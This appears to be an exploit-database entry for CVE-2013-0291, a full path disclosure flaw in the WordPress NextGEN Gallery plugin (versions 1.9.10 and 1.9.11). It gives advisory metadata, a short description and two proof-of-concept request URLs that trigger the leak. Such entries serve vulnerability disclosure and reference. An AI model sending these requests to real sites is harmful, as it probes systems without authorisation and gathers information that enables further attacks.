title author type platform port cve id

WordPress Plugin NextGEN Gallery - Full Path Disclosure

Author: Henrique Montenegro
type: webapps
platform: php
port: 0
date_added: 2013-02-14
date_updated: 2015-09-25
verified: 1
codes: CVE-2013-0291;OSVDB-90242
tags: WordPress Plugin
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/57957/info

The NextGEN Gallery plugin for WordPress is prone to a path-disclosure vulnerability.

An attacker can exploit this issue to obtain sensitive information that may lead to further attacks.

NextGEN Gallery versions 1.9.10 and 1.9.11 are vulnerable; other versions may also be affected.

http://www.example.com/?callback=json&api_key=true&format=json&method=gallery&id=1

http://www.example.com/?callback=json&api_key=true&format=xml&method=recent&limit=1
↑